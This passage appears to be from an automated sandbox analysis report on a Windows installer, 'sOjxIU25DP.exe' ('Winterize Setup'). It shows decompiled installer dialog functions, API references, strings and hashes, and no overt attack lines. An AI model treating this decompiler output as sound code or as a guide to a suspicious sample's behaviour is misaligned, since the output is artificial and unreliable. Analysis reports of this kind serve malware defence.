							_v72 = 0x420d50;
							_v60 = E00404A8F;
							_v56 = _t146;
							_v68 = E004062BB(_t146, 0x420d50, _t166, 0x420128, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405BC0(_t146);
								_t125 =  *((intOrPtr*)( *0x424754 + 0x11c));
								if( *((intOrPtr*)( *0x424754 + 0x11c)) != 0 && _t146 == "C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens") {
									E004062BB(_t146, 0x420d50, _t166, 0, _t125);
									if(lstrcmpiA(0x4236e0, 0x420d50) != 0) {
										lstrcatA(_t146, 0x4236e0);
									}
								}
								 *0x420d40 =  *0x420d40 + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					} else {
						_a8 = 0x40f;
						goto L12;
					}
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E00405C2D(_t146) != 0 && E00405C59(_t146) == 0) {
						E00405BC0(_t146);
					}
					 *0x423f18 = _t166;
					SetWindowTextA(_t165, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004042AC(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push("true");
					E004042AC(_t166);
					E004042E1(_t165);
					_t138 = E00406631("true");
					if(_t138 == 0) {
						L53:
						return E00404313(_a8, _a12, _a16);
					} else {
						 *_t138(_t165, 1);
						goto L8;
					}
				}
			}

0x0040473e
0x00404744
0x0040474a
0x00404757
0x00404765
0x00404768
0x00404770
0x00404776
0x00404776
0x00404782
0x00404785
0x004047f3
0x004047fa
0x004048d1
0x004048d8
0x004048e7
0x004048e7
0x004048eb
0x004048f5
0x00404902
0x00404904
0x00404904
0x00404912
0x00404919
0x00404920
0x00404923
0x0040495a
0x0040495c
0x00404962
0x00404967
0x0040496b
0x0040496d
0x0040496d
0x00404989
0x00000000
0x0040498b
0x0040498e
0x0040499c
0x004049a2
0x004049a3
0x004049a6
0x004049a9
0x00000000
0x004049a9
0x00404925
0x00404927
0x0040492b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040492d
0x0040492d
0x0040493a
0x0040493f
0x00000000
0x00000000
0x00404943
0x00404945
0x00404945
0x0040494d
0x0040494f
0x00404952
0x00404955
0x00404958
0x00000000
0x00000000
0x00000000
0x00000000
0x00404958
0x004049b5
0x004049bf
0x004049c2
0x004049c5
0x004049cc
0x004049cc
0x004049ce
0x004049ce
0x004049d3
0x004049d5
0x004049dd
0x004049e4
0x004049e6
0x004049f1
0x004049f1
0x004049e6
0x004049f8
0x00404a01
0x00404a0b
0x00404a13
0x00404a2e
0x00404a15
0x00404a1e
0x00404a1e
0x00404a13
0x00404a33
0x00404a38
0x00404a3d
0x00404a46
0x00404a46
0x00404a4f
0x00404a51
0x00404a51
0x00404a5d
0x00404a65
0x00404a67
0x00404a6d
0x00404a6f
0x00404a6f
0x00404a6d
0x00404a74
0x00000000
0x00404a74
0x00404923
0x004048da
0x004048e1
0x00000000
0x00000000
0x00000000
0x004048e1
0x00404800
0x00404809
0x00404823
0x00404828
0x00404832
0x00404839
0x00404845
0x00404848
0x0040484b
0x00404852
0x0040485a
0x0040485d
0x00404861
0x00404868
0x00404870
0x004048ca
0x00404872
0x00404873
0x0040487a
0x00404884
0x0040488c
0x00404899
0x004048ad
0x004048b1
0x004048b1
0x004048ad
0x004048b6
0x004048c3
0x004048c3
0x00404870
0x00000000
0x00404828
0x00404816
0x00000000
0x0040481c
0x0040481c
0x00000000
0x0040481c
0x00404787
0x00404794
0x0040479d
0x004047aa
0x004047aa
0x004047b1
0x004047b7
0x004047c0
0x004047c3
0x004047c6
0x004047ce
0x004047d1
0x004047d4
0x004047da
0x004047e1
0x004047e8
0x00404a7a
0x00404a8c
0x004047ee
0x004047f1
0x00000000
0x004047f1
0x004047e8

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040478D
SetWindowTextA.USER32(00000000,?), ref: 004047B7
SHBrowseForFolderA.SHELL32(?,00420128,?), ref: 00404868
CoTaskMemFree.OLE32(00000000), ref: 00404873
lstrcmpiA.KERNEL32(Call,Winterize Setup: Installing), ref: 004048A5
lstrcatA.KERNEL32(?,Call), ref: 004048B1
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004048C3

Part of subcall function 00405928: GetDlgItemTextA.USER32(?,?,00000400,004048FA), ref: 0040593B

Part of subcall function 00406503: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\sOjxIU25DP.exe",76783410,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040655B
Part of subcall function 00406503: CharNextA.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406568
Part of subcall function 00406503: CharNextA.USER32(?,"C:\Users\user\Desktop\sOjxIU25DP.exe",76783410,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040656D
Part of subcall function 00406503: CharPrevA.USER32(?,?,76783410,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040657D

GetDiskFreeSpaceA.KERNEL32(0041FD20,?,?,0000040F,?,0041FD20,0041FD20,?,00000001,0041FD20,?,?,000003FB,?), ref: 00404981
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040499C

Part of subcall function 00404AF5: lstrlenA.KERNEL32(Winterize Setup: Installing,Winterize Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A10,000000DF,00000000,00000400,?), ref: 00404B93
Part of subcall function 00404AF5: wsprintfA.USER32 ref: 00404B9B
Part of subcall function 00404AF5: SetDlgItemTextA.USER32(?,Winterize Setup: Installing), ref: 00404BAE

Strings

A, xrefs: 00404861
Winterize Setup: Installing, xrefs: 0040483B, 0040489E
Call, xrefs: 0040489F, 004048A4, 004048AF
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens, xrefs: 0040488E

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens$Call$Winterize Setup: Installing
API String ID: 2624150263-1712912115
Opcode ID: fbbcbc0b4189a2eff3a17478fdf8e1598a2666bc6a2101fcabb9dba1febc690f
Instruction ID: 829ad80b7ad659a1b6830b16dd2e7c43b5ac75723c1b4fdd6e47fb9b3f087a68
Opcode Fuzzy Hash: fbbcbc0b4189a2eff3a17478fdf8e1598a2666bc6a2101fcabb9dba1febc690f
Instruction Fuzzy Hash: 48A18FB1A00209ABDB11EFA5DD45AAF7BB8EF84314F10843BF601B62D1D77C99418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004027A1 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004027A1(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E00402BCE(2), _t19 - 0x1d0) != 0xffffffff) {
					E00406186(__edi, _t6);
					_push(_t19 - 0x1a4);
					_push(__esi);
					E00406228();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x004027b9
0x004027cd
0x004027d8
0x004027d9
0x00402918
0x004027bb
0x004027bb
0x004027bd
0x004027bf
0x004027bf
0x00402a5d
0x00402a69

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 004027B0

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 1c13d79b7f3a8160b7a8ea69aff31333da46fb511b173ba8741df9ea8ff45664
Instruction ID: a7d85d328faede53e6a1e3b4f28690110558ed3aa0613785cbf8ce06a9006afe
Opcode Fuzzy Hash: 1c13d79b7f3a8160b7a8ea69aff31333da46fb511b173ba8741df9ea8ff45664
Instruction Fuzzy Hash: 35F0A771704111EED710EB649A49AEEB7A8DF51314F20067FF112B60C1D7B88946972A

Uniqueness

Uniqueness Score: -1.00%

Function 00404CB1 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 491
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00404CB1(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t203;
				void* _t205;
				intOrPtr _t206;
				intOrPtr _t207;
				long _t212;
				signed int _t216;
				signed int _t227;
				void* _t230;
				void* _t231;
				int _t237;
				long _t242;
				long _t243;
				signed int _t244;
				signed int _t250;
				signed int _t252;
				signed char _t253;
				signed char _t259;
				void* _t264;
				void* _t266;
				signed char* _t284;
				signed char _t285;
				long _t287;
				long _t290;
				void* _t291;
				signed int _t300;
				signed int _t308;
				void* _t309;
				void* _t310;
				signed char* _t316;
				int _t320;
				int _t321;
				signed int* _t322;
				int _t323;
				long _t324;
				signed int _t325;
				long _t327;
				int _t328;
				signed int _t329;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_v8 = GetDlgItem(_a4, 0x408);
				_t331 = SendMessageA;
				_v24 =  *0x424788;
				_push("true");
				_v28 =  *0x424754 + 0x94;
				_pop(_t320);
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t298 = _a16;
					} else {
						_a12 = 0;
						_t298 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t298;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t298 + 4)) == 0x408) {
							if(( *0x42475d & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t242 = _v16;
									if( *((intOrPtr*)(_t242 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, 0,  *(_t242 + 0x5c));
									}
									_t243 = _v16;
									if( *((intOrPtr*)(_t243 + 8)) == 0xfffffe6a) {
										_t298 = _v24;
										_t244 =  *(_t243 + 0x5c);
										if( *((intOrPtr*)(_t243 + 0xc)) != 2) {
											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) & 0xffffffdf;
										} else {
											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t298 = 0 | _a8 != 0x00000413;
								_t250 = E00404BFF(_v8, _a8 != 0x413);
								_t325 = _t250;
								if(_t325 >= 0) {
									_t298 = _t250 * 0x418 + _v24 + 8;
									_t252 =  *_t298;
									if((_t252 & 0x00000010) == 0) {
										if((_t252 & 0x00000040) == 0) {
											_t253 = _t252 ^ 0x00000001;
										} else {
											_t259 = _t252 ^ 0x00000080;
											if(_t259 >= 0) {
												_t253 = _t259 & 0x000000fe;
											} else {
												_t253 = _t259 | 0x00000001;
											}
										}
										 *_t298 = _t253;
										E0040117D(_t325);
										_a12 = _t325 + 1;
										_a16 =  !( *0x42475c) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t298 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t230 =  *0x420d34; // 0x0
								if(_t230 != 0) {
									ImageList_Destroy(_t230);
								}
								_t231 =  *0x420d48; // 0x0
								if(_t231 != 0) {
									GlobalFree(_t231);
								}
								 *0x420d34 = 0;
								 *0x420d48 = 0;
								 *0x4247c0 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x42475d & 0x00000001) != 0) {
									_t321 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t321);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t321);
								}
								goto L93;
							} else {
								E004011EF(_t298, 0, 0);
								_t203 = _a12;
								if(_t203 != 0) {
									if(_t203 != 0xffffffff) {
										_t203 = _t203 - 1;
									}
									_push(_t203);
									_push("true");
									E00404C7F();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t298, 0, 0);
									_t205 =  *0x420d48; // 0x0
									_v36 = _t205;
									_t206 =  *0x424788;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x42478c <= 0) {
										L86:
										if( *0x42474c == 4) {
											InvalidateRect(_v8, 0, 1);
										}
										_t207 =  *0x423f1c; // 0x55dd3b
										if( *((intOrPtr*)(_t207 + 0x10)) != 0) {
											E00404BBA(0x3ff, 0xfffffffb, E00404BD2(5));
										}
										goto L90;
									}
									_t322 = _t206 + 8;
									do {
										_t212 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t212 != 0) {
											_t300 =  *_t322;
											_v72 = _t212;
											_v76 = 8;
											if((_t300 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t322[4]);
												_t322[0] = _t322[0] & 0x000000fe;
											}
											if((_t300 & 0x00000040) == 0) {
												_t216 = (_t300 & 0x00000001) + 1;
												if((_t300 & 0x00000010) != 0) {
													_t216 = _t216 + 3;
												}
											} else {
												_t216 = 3;
											}
											_v68 = (_t216 << 0x0000000b | _t300 & 0x00000008) + (_t216 << 0x0000000b | _t300 & 0x00000008) | _t300 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t300 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageA(_v8, 0x110d, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t322 =  &(_t322[0x106]);
									} while (_v24 <  *0x42478c);
									goto L86;
								} else {
									_t323 = E004012E2( *0x420d48);
									E00401299(_t323);
									_t227 = 0;
									_t298 = 0;
									if(_t323 <= 0) {
										L74:
										SendMessageA(_v12, 0x14e, _t298, 0);
										_a16 = _t323;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t227 * 4)) != 0) {
											_t298 = _t298 + 1;
										}
										_t227 = _t227 + 1;
									} while (_t227 < _t323);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t237 = SendMessageA(_v12, 0x147, 0, 0);
							if(_t237 == 0xffffffff) {
								goto L93;
							}
							_t324 = SendMessageA(_v12, 0x150, _t237, 0);
							if(_t324 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t324 * 4)) == 0) {
								_push("true");
								_pop(_t324);
							}
							E00401299(_t324);
							SendMessageA(_a4, 0x420, 0, _t324);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					 *0x4247c0 = _a4;
					_v20 = 2;
					 *0x420d48 = GlobalAlloc("true",  *0x42478c << 2);
					_t264 = LoadImageA( *0x424740, 0x6e, 0, 0, 0, 0);
					 *0x420d3c =  *0x420d3c | 0xffffffff;
					_v16 = _t264;
					 *0x420d44 = SetWindowLongA(_v8, 0xfffffffc, E004052C3);
					_t266 = ImageList_Create(_t320, _t320, 0x21, 6, 0);
					 *0x420d34 = _t266;
					ImageList_AddMasked(_t266, _v16, 0xff00ff);
					SendMessageA(_v8, 0x1109, 2,  *0x420d34);
					if(SendMessageA(_v8, 0x111c, 0, 0) < _t320) {
						SendMessageA(_v8, 0x111b, _t320, 0);
					}
					DeleteObject(_v16);
					_t327 = 0;
					do {
						_t272 =  *((intOrPtr*)(_v28 + _t327 * 4));
						if( *((intOrPtr*)(_v28 + _t327 * 4)) != 0) {
							if(_t327 != 0x20) {
								_v20 = 0;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, 0, E004062BB(0, _t327, _t331, 0, _t272)), _t327);
						}
						_t327 = _t327 + 1;
					} while (_t327 < 0x21);
					_t328 = _a16;
					_push( *((intOrPtr*)(_t328 + 0x30 + _v20 * 4)));
					_push(0x15);
					E004042AC(_a4);
					_push( *((intOrPtr*)(_t328 + 0x34 + _v20 * 4)));
					_push(0x16);
					E004042AC(_a4);
					_t329 = 0;
					_v16 = 0;
					if( *0x42478c <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t316 = _v24 + 8;
						_v32 = _t316;
						do {
							_t284 =  &(_t316[0x10]);
							if( *_t284 != 0) {
								_v64 = _t284;
								_t285 =  *_t316;
								_push("true");
								_v88 = _v16;
								_pop(_t308);
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t308;
								_v44 = _t329;
								_v72 = _t285 & _t308;
								if((_t285 & 0x00000002) == 0) {
									if((_t285 & 0x00000004) == 0) {
										_t287 = SendMessageA(_v8, 0x1100, 0,  &_v88);
										_t309 =  *0x420d48; // 0x0
										 *(_t309 + _t329 * 4) = _t287;
									} else {
										_v16 = SendMessageA(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t290 = SendMessageA(_v8, 0x1100, 0,  &_v88);
									_t310 =  *0x420d48; // 0x0
									_v36 = 1;
									 *(_t310 + _t329 * 4) = _t290;
									_t291 =  *0x420d48; // 0x0
									_v16 =  *(_t291 + _t329 * 4);
								}
							}
							_t329 = _t329 + 1;
							_t316 =  &(_v32[0x418]);
							_v32 = _t316;
						} while (_t329 <  *0x42478c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004042E1(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004042E1(_v12);
								L93:
								return E00404313(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404ccf
0x00404cd7
0x00404cdf
0x00404ce5
0x00404cfb
0x00404cfd
0x00404d00
0x00404d01
0x00404f2e
0x00404f35
0x00404f49
0x00404f37
0x00404f39
0x00404f3c
0x00404f3d
0x00404f44
0x00404f44
0x00404f55
0x00404f63
0x00404f66
0x00404f7c
0x00404ff1
0x00404ff4
0x00404ff6
0x00405000
0x0040500e
0x0040500e
0x00405010
0x0040501a
0x00405020
0x00405023
0x00405026
0x00405041
0x00405028
0x00405032
0x00405032
0x00405026
0x0040501a
0x00000000
0x00404ff4
0x00404f81
0x00404f8c
0x00404f91
0x00404f98
0x00404f9d
0x00404fa1
0x00404fac
0x00404fb0
0x00404fb4
0x00404fb8
0x00404fcb
0x00404fba
0x00404fba
0x00404fc1
0x00404fc7
0x00404fc3
0x00404fc3
0x00404fc3
0x00404fc1
0x00404fcf
0x00404fd1
0x00404fe4
0x00404fe7
0x00404fea
0x00404fea
0x00404fb4
0x00000000
0x00404fa1
0x00404f83
0x00404f8a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405044
0x00405044
0x0040504b
0x004050bc
0x004050c4
0x004050cc
0x004050cc
0x004050d5
0x004050d7
0x004050de
0x004050e1
0x004050e1
0x004050e7
0x004050ee
0x004050f1
0x004050f1
0x004050f7
0x004050fd
0x00405103
0x00405103
0x00405110
0x00405270
0x00405277
0x00405294
0x0040529a
0x004052ac
0x004052ac
0x00000000
0x00405116
0x00405118
0x0040511d
0x00405122
0x00405127
0x00405129
0x00405129
0x0040512a
0x0040512b
0x0040512d
0x0040512d
0x00405135
0x00405176
0x00405178
0x0040517d
0x00405188
0x0040518b
0x00405190
0x00405197
0x0040519a
0x0040523c
0x00405244
0x0040524c
0x0040524c
0x00405252
0x0040525a
0x0040526b
0x0040526b
0x00000000
0x0040525a
0x004051a0
0x004051a3
0x004051a9
0x004051ae
0x004051b0
0x004051b2
0x004051b8
0x004051bf
0x004051c4
0x004051cb
0x004051ce
0x004051ce
0x004051d5
0x004051e1
0x004051e5
0x004051e7
0x004051e7
0x004051d7
0x004051d9
0x004051d9
0x00405207
0x00405213
0x00405222
0x00405222
0x00405224
0x00405227
0x00405230
0x00000000
0x00405137
0x00405142
0x00405145
0x0040514a
0x0040514c
0x00405150
0x00405160
0x0040516a
0x0040516c
0x0040516f
0x00000000
0x00000000
0x00000000
0x00000000
0x00405152
0x00405152
0x00405158
0x0040515a
0x0040515a
0x0040515b
0x0040515c
0x00000000
0x00405152
0x00405135
0x00405110
0x00405053
0x00000000
0x00405069
0x00405073
0x00405078
0x00000000
0x00000000
0x0040508a
0x0040508f
0x00405099
0x0040509b
0x0040509b
0x0040509d
0x004050ac
0x004050ae
0x004050b2
0x004050b5
0x00000000
0x004050b5
0x00405053
0x00404d07
0x00404d0a
0x00404d0d
0x00404d1d
0x00404d30
0x00404d3b
0x00404d41
0x00404d4f
0x00404d62
0x00404d67
0x00404d72
0x00404d7b
0x00404d91
0x00404da1
0x00404dad
0x00404dad
0x00404db2
0x00404db8
0x00404dba
0x00404dbd
0x00404dc2
0x00404dc7
0x00404dc9
0x00404dc9
0x00404de9
0x00404de9
0x00404deb
0x00404dec
0x00404df1
0x00404df7
0x00404dfb
0x00404e00
0x00404e08
0x00404e0c
0x00404e11
0x00404e16
0x00404e1e
0x00404e21
0x00404ef0
0x00404f03
0x00000000
0x00404e27
0x00404e2a
0x00404e2d
0x00404e30
0x00404e30
0x00404e35
0x00404e3e
0x00404e41
0x00404e43
0x00404e45
0x00404e48
0x00404e4b
0x00404e54
0x00404e5d
0x00404e60
0x00404e63
0x00404e66
0x00404ea4
0x00404ec7
0x00404ec9
0x00404ecf
0x00404ea6
0x00404eb5
0x00404eb5
0x00404e68
0x00404e6b
0x00404e79
0x00404e83
0x00404e85
0x00404e8b
0x00404e92
0x00404e95
0x00404e9d
0x00404e9d
0x00404e66
0x00404ed5
0x00404ed6
0x00404ee2
0x00404ee2
0x00404eee
0x00404f09
0x00404f0c
0x00404f29
0x00000000
0x00404f0e
0x00404f13
0x00404f1c
0x004052ae
0x004052c0
0x004052c0
0x00404f0c
0x00000000
0x00404eee
0x00404e21

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404CC8
GetDlgItem.USER32(?,00000408), ref: 00404CD5
GlobalAlloc.KERNEL32(?,?), ref: 00404D24
LoadImageA.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404D3B
SetWindowLongA.USER32(?,000000FC,004052C3), ref: 00404D55
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404D67
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404D7B
SendMessageA.USER32(?,00001109,00000002), ref: 00404D91
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404D9D
SendMessageA.USER32(?,0000111B,?,00000000), ref: 00404DAD
DeleteObject.GDI32(00000110), ref: 00404DB2
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404DDD
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404DE9
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404E83
SendMessageA.USER32(?,0000110A,00000003,00000110), ref: 00404EB3

Part of subcall function 004042E1: SendMessageA.USER32(?,?,00000001,00404111), ref: 004042EF

SendMessageA.USER32(?,00001100,00000000,?), ref: 00404EC7
GetWindowLongA.USER32(?,000000F0), ref: 00404EF5
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404F03
ShowWindow.USER32(?,00000005), ref: 00404F13
SendMessageA.USER32(?,00000419,00000000,?), ref: 0040500E
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00405073
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00405088
SendMessageA.USER32(?,00000420,00000000,?), ref: 004050AC
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 004050CC
ImageList_Destroy.COMCTL32(00000000), ref: 004050E1
GlobalFree.KERNEL32(00000000), ref: 004050F1
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 0040516A
SendMessageA.USER32(?,00001102,?,?), ref: 00405213
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00405222
InvalidateRect.USER32(?,00000000,00000001), ref: 0040524C
ShowWindow.USER32(?,00000000), ref: 0040529A
GetDlgItem.USER32(?,000003FE), ref: 004052A5
ShowWindow.USER32(00000000), ref: 004052AC

Strings

M, xrefs: 00404E6B
N, xrefs: 00404F4C
, xrefs: 00405284

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 369ac9b3958f78afb21dea90716f56cf97efaeb4663d4872368ebef0a9f17400
Instruction ID: 1f2220219548b190c7fc9fe52a988bdfc75827026f4451c66edb8ee187498390
Opcode Fuzzy Hash: 369ac9b3958f78afb21dea90716f56cf97efaeb4663d4872368ebef0a9f17400
Instruction Fuzzy Hash: 33025DB0A00209AFDB20DF94DD45AAE7BB5FB84354F10817AF610BA2E1C7789D52DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404417 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 202
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00404417(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L11:
						__eflags = _a8 - 0x4e;
						if(_a8 != 0x4e) {
							__eflags = _a8 - 0x40b;
							if(_a8 == 0x40b) {
